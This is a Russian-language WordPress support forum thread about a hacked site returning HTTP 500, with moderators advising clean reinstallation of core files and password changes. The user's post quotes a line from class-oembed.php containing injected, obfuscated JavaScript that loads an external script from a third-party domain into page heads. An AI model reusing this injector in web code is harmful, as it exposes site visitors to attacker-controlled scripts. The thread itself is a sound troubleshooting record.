Поддержка Проблемы и решения Страница недоступна HTTP ERROR 500

  • сайт выдает ошибку:
    Страница недоступна Сайт zgl.ru пока не может обработать этот запрос.
    HTTP ERROR 500
    в логах выдает:

    Ошибка с файлом htdocs/wp-includes/class-oembed.php
    [Sun Nov 04 22:11:01 2018] [error] [client 91.210.146.99] PHP Parse error: syntax error, unexpected 'text' (T_STRING) in /home/www/z59317/htdocs/wp-includes/class-oembed.php on line 461

    (вот эту строку я и копировала сюда)

    if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>' ) ) {
    				$html = substr( $html, 0, $html_head_end );
    			}
    -----------------------------------------------------------------------------

    сайт создан на cms wordpress.
    все работало хорошо, изменений никаких не вносила, но в один «прекрасный » момент выдал ошибку

    • Тема изменена 1 неделя, 6 дн. назад пользователем  SeVlad. Причина: Оформляйте, пож, код как следует
Просмотр 8 ответов — с 1 по 8 (всего 8)
  • Модератор SeVlad

    (@sevlad)

    wp.me/3YHjQ

    все работало хорошо, изменений никаких не вносила, но в один «прекрасный » момент выдал ошибку

    Возмодно Ваш сайт взломан.

    Оригинальные строки этого файлы выглядят так: https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/class-oembed.php#L461

    Оригинальные строки этого файлы выглядят так: https://core.trac.wordpress.org/browser/tags/4.9.8/src/wp-includes/class-oembed.php#L461
    ———————————————————
    я поменяла этот файл, теперь выдает ошибку таково рода:
    [Tue Nov 06 13:30:17 2018] [error] [client 37.190.5.173] PHP Parse error: syntax error, unexpected ‘text’ (T_STRING) in /home/www/z59317/htdocs/wp-includes/widgets/class-wp-widget-text.php on line 124

    Модератор Yui

    (@fierevere)

    ゆい ★ ღ

    лучше , особенно при подозрении на взлом, удалить и заменить чистыми из архива
    папки wp-includes/ и wp-admin/ а также .php файлы в корне сайта

    https://ru.wordpress.org/download/releases/
    архив нужной версии тут.

    а как это сделать? содержимое сайта потеряется?

    Модератор SeVlad

    (@sevlad)

    wp.me/3YHjQ

    а как это сделать?

    См https://codex.wordpress.org/%D0%A7%D0%90%D0%92%D0%9E/%D0%A1%D0%B0%D0%B9%D1%82_%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC%D0%B0%D0%BB%D0%B8

    содержимое сайта потеряется?

    Нет, если не удалите базу и созданные/загруженные Вами файлы (картинки и тп).

    Но бекапы никто не отменяет.

    Модератор Yui

    (@fierevere)

    ゆい ★ ღ

    по фтп, ssh или через файловый менеджер панели хостинга
    можно также нажать на кнопку Консоль>Обновления>Переустановить

    с содержимым сайта ничего не произойдет, файлы ядра расчитаны на то, чтобы их не изменяли и они могли заменяться, в частности кнопочкой переустановки

    всем спасибо большое за ответы.
    Решила проблему таким образом, заменила весь текст в /wp-includes/class-oembed.php и в /wp-includes/widgets/class-wp-widget-text.php таким образом у меня получилось войти в wp-admin и от туда я переустановила WP

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Стоит сменить все пароли от сайта и от хостинга, пока взлом не повторился.

Просмотр 8 ответов — с 1 по 8 (всего 8)